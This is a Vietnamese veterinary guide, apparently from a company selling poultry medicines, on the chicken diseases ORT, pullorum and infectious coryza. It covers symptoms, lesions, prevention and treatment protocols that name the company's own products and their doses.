     Là một bệnh do vi khuẩn Gram (-)  gây nên và là một bệnh đường hô hấp cấp cấp tính. Lây lan rất nhanh, cấp tính và thành dịch. Gây ra thiệt hại rất lớn, tỷ lệ mắc 30% – 90%, tỷ lệ chết 5 – 60%. Tất cả các loại gà đều có thể bị. Ort ẩn náu ở Gà bệnh, nền chuồng, thức ăn ôi thiu, nước bẩn

* Triệu chứng:

     + Khó thở trầm trọng,

+ Ngáp nhiều

+ Hắt hơi, vảy mỏ

* So sánh với các bệnh hô hấp khác:

Tên bệnh Triệu chứng điển hình Bệnh tích đặc trưng
ORT – Hen rất nặng

– Ngáp, thở rít, thở đớp khí

– Tỷ lệ chết trung bình, tập trung ngày thứ 3 sau khi mắc

– Phổi viêm hóa mủ

– Khí quản trong, không xuất huyết

– Có mủ ở khí quản và hai phế quản gốc

IB – Hen rất nặng

– Ngáp, thở rít, thở đớp khí

– Tỷ lệ chết cao, chết nhanh

– Phổi viêm hóa mủ

– Khí quản xuất huyết đỏ rực

– Có mủ ở ngã ba khí quản

ILT – Hen rất nặng

– Ngáp, thở rít, thở đớp khí

– Tỷ lệ chết cao, chết nhanh

-Phổi bình thường

-Thanh quản xuất huyết

-1/3 khí quản phía trên tăng sinh, dày nên và xuất huyết lấm tấm

-Trong khí quản có máu lẫn dịch nhầy

CRD & CCRD -Hen mức độ trung bình

-Thở khò khè, chảy nước mũi

-Có bọt khí ở mắt

-Viêm túi khí

-Có Fibrin ở  bụng, xoang bao tim và túi khí

 

* Giải pháp phòng và trị bệnh:

+ Vệ sinh, sát trùng tốt

+ Chăm sóc, quản lý gà tốt => phát hiện bệnh sớm

+ Điều trị ORT bằng kháng sinh rất khó khăn. Bởi tính nhạy cảm rất khác nhau giữa các loại kháng sinh như: Doxycycline , Enrofloxacin , Flumequine , Lincomycin , Trimethoprim + Sulfamide và Tylosin. Mức độ nhạy cảm phụ thuộc vào việc sử dụng thường xuyên kháng sinh trên gia cầm, nơi nó được phân lập.

Trong thời gian vưa qua đã sẩy ra đại dịch ORT ở tất cả các vùng chăn nuôi lớn như: Hà Nội, Vĩnh Phúc, Thái Nguyên, Bắc Ninh, Hưng Yên, Hải Dương… Công ty Chúng tôi đã nghiên cứu và thí nghiệm phác đồ điều trị bệnh ORT đã đem lại kết quả rất cao.

Khi chúng ta phát hiện ra bệnh thì thường là đàn gia cầm đã bị bệnh ở thể cấp tính: Gà sốt rất cao, giảm ăn trầm trọng, tổng thể đàn rất yếu… Vì vậy việc đưa ngay kháng sinh vào sẽ không đem lại kết quả mà có thể còn làm cho mức độ bệnh trở nên trầm trọng hơn.

Vì vậy, Công ty khuyến cáo nhà chăn nuôi cần thực hiện theo nguyên tắc sau:

  • Dùng PARAC: 1g/5kgP. Nhằm hạ sốt.
  • Dùng Cốm Nhân Sâm: 1g/5kgP. Nhằm hỗ trợ điều trị, chống suy nhược.
  • Dùng Điện giải thảo dược Gluco KC hoặc B-Complex cốm liều 1 – 2g/lít nước uống.
  • Dùng HEPATOL hoặc GIẢI ĐỘC CẤP liều 1 – 2ml/lít nước uống. Mục đích để giải độc, tăng cường chức năng gan-thận.
  • BROM C: 1g/10kgP. Mục đích để giảm ho, long đờm, thông khí quản, đào thải chất nhầy
  • Sát trùng bằng thuốc sát trùng thường xuyên trong khu đang chăn nuôi gà bằng IODIN 70% liều 4ml/1lít nước. Phun trực tiếp vào khu vực đang chăn nuôi. Tuần 1 – 2 lần.

* Sau 2-3 ngày khi tổng đàn gia cầm có sức khỏe tốt hơn thì bắt đầu dùng kháng sinh  để điều tri. Một số loại kháng sinh an toàn và hiệu quả như:

  • AMOX 500: Liều dùng 1g cho 25 kg thể trọng.
  • DOXYGUARD 50: Liều dùng 1g cho 25 kg thể trọng.
  • Hoặc FLO 250: Liều dùng 1g cho 30 kg thể trọng.
  • Thời gian điều trị 3-5 ngày.
  1. BỆNH BẠCH LỴ GÀ

a, Đặc điểm chung

Còn gọi là bệnh “gà con ỉa phân trắng”.

Do vi khuẩn gây ra.

Gây thiệt hại kinh tế do:

+ Gây chết nhiều gà con.

+ Làm chậm lớn, giảm đẻ ở gà lớn.

– Bệnh thường phát ra do sức đề kháng của cơ thể giảm.

Làm biến dạng buồng trứng gà mái, hỏng giống.

b, Đường lây lan .

Gà mắc bệnh :

+ Mang trùng suốt đời.

+ Bài xuất mầm bệnh lây lan cho gà khác.

+ Bệnh có thể lây lan qua nhiều đường:

+ Qua dụng cụ chăn nuôi, Thú y, phương tiện vận chuyển.

+ Qua thức ăn nước uống bị nhiễm mầm bệnh.

+ Đặc biệt: gà bố mẹ bị bệnh sẽ truyền mầm bệnh cho đời con qua lòng đỏ trứng (truyền dọc)

c, Triệu chứng .

Bệnh ở gà con:

Gà nở từ trứng bị nhiễm trùng:

+ Phát bệnh ngay sau khi nở

+ Dính phôi, sát phôi, chết ngạt.

+ Ốm yếu, còi cọc

Gà nhiễm bệnh sau khi nở:

+ Yếu, bụng trễ do lòng đỏ không tiêu.

+ Tụ tập thành đám, kêu xao xác.

+ Ủ rũ, xù lông, xã cánh.

+ Ỉa phân trắng, lông đít bết đầy phân.

+ Chết 2-3 ngày sau phát bệnh.

  1. Bệnh ở gà lớn :

– Gầy yếu ủ rũ, xù lông.

– Niêm mạc mào yếm nhợt nhạt .

Gà mái:

+ Bụng trương to do tích nước trong bụng

+ Giảm đẻ, đẻ trứng non, trứng nhỏ như trứng cút

+ Vỏ trứng xù xì, lòng đỏ có thể có sợi máu.

Gà trống:

+ Ỉa chảy kéo dài .

+ Có thể bị chết đột ngột

d, Bệnh tích

  1. Bệnh ở gà con:

Lòng đỏ không tiêu: màu vàng xám, mùi thối.

Lách: sưng gấp 2-3 lần.

Ruột: tụ máu, xuất huyết.

  1. Bệnh tích ở gà lớn:

– Gan sưng, bở, có nhiều điểm hoại tử trên bề mặt

– Xoang bao tim tích nước, cơ tim bị hoại tử điểm,

– Trứng non méo mó, viêm dính trong xoang bụng

e, Phòng bệnh:

+ Chỉ ấp trứng đẻ từ gà mái không mắc bệnh.

+ Loại thải gà bị bệnh mãn tính trong các đàn gà giống

+ Nuôi dưỡng, chăm sóc tốt để tăng sức đề kháng của đàn gà.

+ Giữ vệ sinh chuồng trại để giảm nguy cơ lây nhiễm bệnh

+ Phun thuốc sát trùng khu chuồng nuôi và xung quanh.

f, Điều Trị.

Có thể dùng các loại thuốc sau:

+ Enro 20%: * Trộn 5g với 10 kg thức ăn cho gà ăn trong 7-10 ngày

+ Fuo – xit, liều dùng:  0,5 – 1,5 g/ 1 lít nước; 1,5 – 2,5g/kg Thức ăn

+ Sulthophar 48%: Hòa nước uống hoặc trộn thức ăn:1ml/1lít nước,1ml/15 kgTT

*Tăng sức đề kháng cho đàn gà bằng cách:

+ Bổ sung thêm, Vitamin C35% kết hợp Bogamax

+ Nuôi dưỡng, chăm sóc tốt

  1. BỆNH CORYZA

a, Đặc điểm:

– Là bệnh hô hấp cấp tính của gà do vi khuẩn Haemophilus gallinarum  Gr(-)  gây ra.

– Thường có các biểu hiện như: sưng đầu và sưng mặt, viêm xoang mũi.

– Bệnh xảy ra ở mọi nơi

b, Đường truyền:

– Truyền dọc: Từ mẹ bị bệnh sang con

– Truyền ngang: Qua tiếp xúc giữa con mang trùng và con khỏe

– Bệnh truyền gián tiếp qua tiếp xúc với dụng cụ và người chăm sóc

c, Các biểu hiện:

– Bệnh gặp trên gà ở mọi lứa tuổi, đặc biệt từ 15 – 30 tuần tuổi

– Sưng đầu và sưng mặt

– Dịch tiết từ xoang mũi ra (lúc đầu loãng sau chuyển sang nhầy)

– Đôi khi bị viêm phổi, có tiếng khò khè, viêm túi khí

– Viêm kết mạc mắt

– Sưng tích, đặc biệt là gà trống.

– Giảm ăn, uống đôi khi tiêu chảy

– Giảm đẻ, vỏ trứng kém chất lượng.

– Thở bằng miệng do khó thở

– Sưng phù mặt và chảy nước mắt.

– Ứ thấm dịch bã đậu trong xoang mắt

d, Phòng bệnh:

– Vệ sinh sạch sẽ

– Hạn chế tác nhân gây bệnh

– Dùng vacxin IC để phòng

– Dùng thuốc kháng sinh để phòng bệnh

e, Các lưu ý khi dùng Vacxin

– Chỉ dùng vacxin cho những đàn gà khỏe mạnh

– Ngừng xử dụng các thuốc sát trùng trong nước uống, thức ăn trong vòng 48 giờ trước và sau khi tiêm vacxin

– Bảo quản vacxin ở 2 – 7 độ C, tránh ánh nắng

– Chỉ pha lượng vacxin khi cần thiết và phải sử dụng ngay sau khi pha

* Cách dùng vacxin IC

– Tiêm bắp 0,5ml/ con/ với gà < 6 tuần tuổi.

– Tiêm bắp 1ml/ con, với gà > 6 tuần tuổi.

* Liệu trình tiêm

– Tiêm lần 1: cho gà 4- 8 tuần tuổi

– Tiêm lần 2: 4 tuần sau mũi tiêm thứ nhất

– Tiêm lần 3: 8 tuần sau khi tiêm mũi thứ 2

0
Connecting
Please wait...
Send a message

Sorry, we aren't online at the moment. Leave a message.

Your name
* Email
* Describe your issue
Login now

Need more help? Save time by starting your support request online.

Your name
* Email
* Describe your issue
We're online!
Feedback

Help us help you better! Feel free to leave us any additional feedback.

How do you rate our support?